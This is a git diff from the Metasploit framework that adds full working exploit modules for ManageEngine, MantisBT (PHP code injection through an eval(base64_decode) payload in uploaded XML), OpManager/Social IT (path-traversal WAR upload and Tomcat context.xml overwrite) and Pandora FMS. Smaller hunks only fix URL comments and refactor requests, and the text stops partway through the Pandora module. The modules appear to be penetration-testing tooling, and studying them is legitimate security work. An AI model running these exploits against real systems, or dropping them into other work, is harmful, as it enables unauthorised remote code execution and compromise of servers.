post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") + post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") + post_data.add_part('', nil, nil, "form-data; name=\"vec\"") + post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") + post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") + post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") + post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") + else + post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") + post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") + post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") + end + + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(@my_target['attachment_path']), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie + }) + return res + end + + + def pick_target + return target if target.name != 'Automatic' + + version = get_version + if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || + (version[0] == 4 && version[3] == 'ae') || + (version[3] == 'sc') + # These are all "old style" versions (sc is always old style) + return targets[1] + elsif version[3] == 'it' + return targets[3] + else + return targets[2] + end + end + + + def exploit + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") + end + + print_status("#{peer} - Selecting target...") + @my_target = pick_target + print_status("#{peer} - Selected target #{@my_target.name}") + + if @my_target == targets[3] + cookie = login_it360 + else + cookie = login + end + + if cookie.nil? + fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate") + end + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file that will contain it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + app_xml << '<application>' + app_xml << "<display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name>" + app_xml << "<module><web><web-uri>#{war_app_base + ".war"}</web-uri>" + app_xml << "<context-root>/#{ear_app_base}</context-root></web></module></application>" + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + '.war', war_payload.to_s) + ear_file.add_file('META-INF/application.xml', app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' + + if @my_target != targets[3] + # Linux doesn't like it when we traverse non existing directories, + # so let's create them by sending some random data before the EAR. + # (IT360 does not have a Linux version so we skip the bogus file for it) + print_status("#{peer} - Uploading bogus file...") + res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4))) + if res && res.code != 200 + fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed") + end + end + + # Now send the actual payload + print_status("#{peer} - Uploading EAR file...") + res = send_multipart_request(cookie, ear_file_name, ear_file.pack) + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful") + else + fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed") + end + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi({ + 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end +end diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index da787d5622..a16088a0d2 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb new file mode 100644 index 0000000000..48523cc5ef --- /dev/null +++ b/modules/exploits/multi/http/mantisbt_php_exec.rb @@ -0,0 +1,369 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability', + 'Description' => %q{ + This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. + The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. + This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. + This version also suffers from another issue. The import page is not checking the correct user level + of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Egidio Romano', # discovery http://karmainsecurity.com + 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco + 'Christian Mehlmauer' + ], + 'References' => + [ + ['CVE', '2014-7146'], + ['CVE', '2014-8598'], + ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'], + ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Generic (PHP Payload)', {}]], + 'DisclosureDate' => 'Nov 8 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), + OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), + OptString.new('TARGETURI', [ true, 'Base directory path', '/']) + ], self.class) + end + + def get_mantis_version + xml = Document.new + xml.add_element( + "soapenv:Envelope", + { + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", + 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", + 'xmlns:man' => "http://futureware.biz/mantisconnect" + }) + xml.root.add_element("soapenv:Header") + xml.root.add_element("soapenv:Body") + body = xml.root.elements[2] + body.add_element("man:mc_version", + { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" } + ) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'), + 'ctype' => 'text/xml; charset=UTF-8', + 'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'}, + 'data' => xml.to_s + }) + if res && res.code == 200 + match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/) + if match && match.length == 2 + version = match[1] + print_status("Detected Mantis version #{version}") + return version + end + end + + print_status("Can not detect Mantis version") + return nil + end + + def check + version = get_mantis_version + + return Exploit::CheckCode::Unknown if version.nil? + + gem_version = Gem::Version.new(version) + gem_version_introduced = Gem::Version.new('1.2.0a3') + gem_version_fixed = Gem::Version.new('1.2.18') + + if gem_version < gem_version_fixed && gem_version >= gem_version_introduced + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def do_login() + # check for anonymous login + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login_anon.php') + }) + # if the redirect contains a username (non empty), anonymous access is enabled + if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/ + print_status('Anonymous access enabled, no need to log in') + session_cookie = res.get_cookies + else + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login_page.php'), + 'vars_get' => { + 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') + } + }) + session_cookie = res.get_cookies + print_status('Logging in...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.php'), + 'cookie' => session_cookie, + 'vars_post' => { + 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), + 'username' => datastore['username'], + 'password' => datastore['password'], + 'secure_session' => 'on' + } + }) + fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 + + fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php') + + session_cookie = "#{session_cookie} #{res.get_cookies}" + end + + session_cookie + end + + def upload_xml(payload_b64, rand_text, cookies, is_check) + + if is_check + timeout = 20 + else + timeout = 3 + end + + rand_num = Rex::Text.rand_text_numeric(1, 9) + + print_status('Checking XmlImportExport plugin...') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'plugin.php'), + 'cookie' => cookies, + 'vars_get' => { + 'page' => 'XmlImportExport/import' + } + }) + + unless res && res.code == 200 && res.body + print_error('Error trying to access XmlImportExport/import page...') + return false + end + + if res.body.include?('Plugin is not registered with MantisBT') + print_error('XMLImportExport plugin is not installed') + return false + end + + # Retrieving CSRF token + if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ + csrf_token = Regexp.last_match[1] + else + print_error('Error trying to read CSRF token') + return false + end + + # Retrieving default project id + if res.body =~ /name="project_id" value="([0-9]+)"/ + project_id = Regexp.last_match[1] + else + print_error('Error trying to read project id') + return false + end + + # Retrieving default category id + if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/ + category_id = Regexp.last_match[1] + category_name = Regexp.last_match[2] + else + print_error('Error trying to read default category') + return false + end + + # Retrieving default max file size + if res.body =~ /name="max_file_size" value="([0-9]+)"/ + max_file_size = Regexp.last_match[1] + else + print_error('Error trying to read default max file size') + return false + end + + # Retrieving default step + if res.body =~ /name="step" value="([0-9]+)"/ + step = Regexp.last_match[1] + else + print_error('Error trying to read default step value') + return false + end + + xml_file = %Q| + <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1"> + <issue> + <id>#{ rand_num }</id> + <project id="#{ project_id }">#{ rand_text }</project> + <reporter id="#{ rand_num }">#{ rand_text }</reporter> + <priority id="30">normal</priority> + <severity id="50">minor</severity> + <reproducibility id="70">have not tried</reproducibility> + <status id="#{ rand_num }">new</status> + <resolution id="#{ rand_num }">open</resolution> + <projection id="#{ rand_num }">none</projection> + <category id="#{ category_id }">#{ category_name }</category> + <date_submitted>1415492267</date_submitted> + <last_updated>1415507582</last_updated> + <eta id="#{ rand_num }">none</eta> + <view_state id="#{ rand_num }">public</view_state> + <summary>#{ rand_text }</summary> + <due_date>1</due_date> + <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description> + </issue> + </mantis> + | + + data = Rex::MIME::Message.new + data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"") + data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"") + data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"") + data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"") + data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"") + data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"") + data.add_part("link", nil, nil, "form-data; name=\"fallback\"") + data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"") + data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"") + data_post = data.to_s + + print_status('Sending payload...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), + 'cookie' => cookies, + 'ctype' => "multipart/form-data; boundary=#{ data.bound }", + 'data' => data_post + }, timeout) + + if res && res.body && res.body.include?('APPLICATION ERROR') + print_error('Error on uploading XML') + return false + end + + # request above will time out and return nil on success + return true + end + + def exec_php(php_code, is_check = false) + print_status('Checking access to MantisBT...') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection) + + # remove comments, line breaks and spaces of php_code + payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') + + # clean b64 payload + while Rex::Text.encode_base64(payload_clean).include?('=') + payload_clean = "#{ payload_clean } " + end + payload_b64 = Rex::Text.encode_base64(payload_clean) + + rand_text = Rex::Text.rand_text_alpha(5, 8) + + cookies = do_login() + + res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) + + return unless res_payload + + # When a meterpreter session is active, communication with the application is lost. + # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. + cookies = do_login() + + print_status("Deleting issue (#{ rand_text })...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'my_view_page.php'), + 'cookie' => cookies + }) + + unless res && res.code == 200 + print_error('Error trying to access My View page') + return false + end + + if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/ + issue_id = Regexp.last_match[1] + else + print_error('Error trying to retrieve issue id') + return false + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'), + 'cookie' => cookies, + 'vars_get' => { + 'bug_arr[]' => issue_id, + 'action' => 'DELETE', + }, + }) + + if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/ + csrf_token = Regexp.last_match[1] + else + print_error('Error trying to retrieve CSRF token') + return false + end + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'), + 'cookie' => cookies, + 'vars_post' => { + 'bug_actiongroup_DELETE_token' => csrf_token, + 'bug_arr[]' => issue_id, + 'action' => 'DELETE', + }, + }) + + if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/ + print_status("Issue number (#{ issue_id }) removed") + else + print_error("Removing issue number (#{ issue_id }) has failed") + return false + end + + # if check return the response + if is_check + return res_payload + else + return true + end + end + + def exploit + get_mantis_version + unless exec_php(payload.encoded) + fail_with(Failure::Unknown, 'Exploit failed, aborting.') + end + end +end diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb index fec4fb5a3a..be3bcfea1d 100644 --- a/modules/exploits/multi/http/mediawiki_thumb.rb +++ b/modules/exploits/multi/http/mediawiki_thumb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Netanel Rubin', # from Check Point - Discovery 'Brandon Perry', # Metasploit Module 'Ben Harris', # Metasploit Module - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module + 'Ben Campbell' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fb620413ae..1882bd0b24 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index b73d0ecb50..e90145fc2b 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index acd70eb924..61272300d7 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index d4cadae1c7..8b06d3c753 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/ print_good("#{peer} - Login successful") session = $1 else diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index 43699753d9..6feb8ce2f8 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 5b993fb37f..5d52ed78f7 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win unix }, 'Targets' => [ - [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], + [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ], [ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ] ], 'DisclosureDate' => 'Dec 06 2012')) @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax=>500}) when 'unix' diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 0ff2944781..2eff3282dc 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index 42b2932835..7d81071631 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index bc346979d8..74af22b861 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -181,15 +181,17 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), + 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), 'method' => 'POST', 'data' => data, - 'headers' => - { - 'Content-Type' => 'multipart/form-data; boundary=' + boundary, - 'Content-Length' => data.length, - 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", - } + 'headers' => { + 'Content-Type' => 'multipart/form-data; boundary=' + boundary, + 'Content-Length' => data.length, + 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", + }, + 'vars_get' => { + 'uploadplugin' => nil + } }) @@ -199,11 +201,13 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, - 'headers' => - { - 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", - } + 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), + 'headers' => { + 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", + }, + 'vars_get' => { + 'deleteplugin' => plugin_name.downcase + } }) if not res print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.") diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index 2cd82930e9..d2ae980233 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 62667b859f..1a097fd6bb 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb new file mode 100644 index 0000000000..088130385f --- /dev/null +++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine OpManager and Social IT Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT. + The vulnerability exists in the FileCollector servlet which accepts unauthenticated + file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on + version 11.0 of SocialIT for Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-6034' ], + [ 'OSVDB', '112276' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ] + ], + 'Privileged' => true, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 27 2014')) + + register_options( + [ + Opt::RPORT(80), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for WAR deployment', 15]), + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"), + 'method' => 'GET' + }) + + # A GET request on this servlet returns "405 Method not allowed" + if res and res.code == 405 + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + + def upload_war_and_exec(try_again, app_base) + tomcat_path = '../../../tomcat/' + servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector' + + if try_again + # We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration + # does not allow us to deploy WARs. Fix that by uploading a new context.xml file. + # The file we are uploading has the same content apart from privileged="false" and lots of XML comments. + # After replacing the context.xml file let's upload the WAR again. + print_status("#{peer} - Replacing Tomcat context file") + send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>}, + 'ctype' => 'application/xml', + 'vars_get' => { + 'regionID' => tomcat_path + "conf", + 'FILENAME' => "context.xml" + } + }) + else + # We need to create the upload directories before our first attempt to upload the WAR. + print_status("#{peer} - Creating upload directories") + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => rand_text_alphanumeric(4 + rand(32 - 4)), + 'ctype' => 'application/xml', + 'vars_get' => { + 'regionID' => "", + 'FILENAME' => bogus_file + } + }) + register_files_for_cleanup("state/archivedata/zip/" + bogus_file) + end + + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + print_status("#{peer} - Uploading WAR file...") + res = send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => war_payload, + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'regionID' => tomcat_path + "webapps", + 'FILENAME' => app_base + ".war" + } + }) + + # The server either returns a 500 error or a 200 OK when the upload is successful. + if res and (res.code == 500 or res.code == 200) + print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + " seconds for deployment") + sleep(datastore['SLEEP']) + else + fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") + end + + print_status("#{peer} - Executing payload, wait for session...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + end + + + def exploit + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + + upload_war_and_exec(false, app_base) + register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war") + + sleep_counter = 0 + while not session_created? + if sleep_counter == datastore['SLEEP'] + print_error("#{peer} - Failed to get a shell, let's try one more time") + upload_war_and_exec(true, app_base) + return + end + + sleep(1) + sleep_counter += 1 + end + end +end diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index 30e58cb458..a51b98785f 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb new file mode 100644 index 0000000000..9442b80aa6 --- /dev/null +++ b/modules/exploits/multi/http/pandora_upload_exec.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Pandora FMS v3.1 Auth Bypass and Arbitrary File Upload Vulnerability", + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in Pandora FMS v3.1 as + disclosed by Juan Galiana Lara. It also integrates with the built-in pandora + upload which allows a user to upload arbitrary files to the '/images/' directory. + + This module was created as an exercise in the Metasploit Mastery Class at Blackhat + that was facilitated by egypt and mubix. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Juan Galiana Lara', # Vulnerability discovery + 'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module + 'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module + 'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module + '_flood <freshbones[at]gmail.com>', # Metasploit module + 'mubix <mubix[at]room362.com>', # Auth bypass and file upload + 'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload + ], + 'References' => + [ + ['CVE', '2010-4279'], + ['OSVDB', '69549'], + ['BID', '45112'] + ], + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' 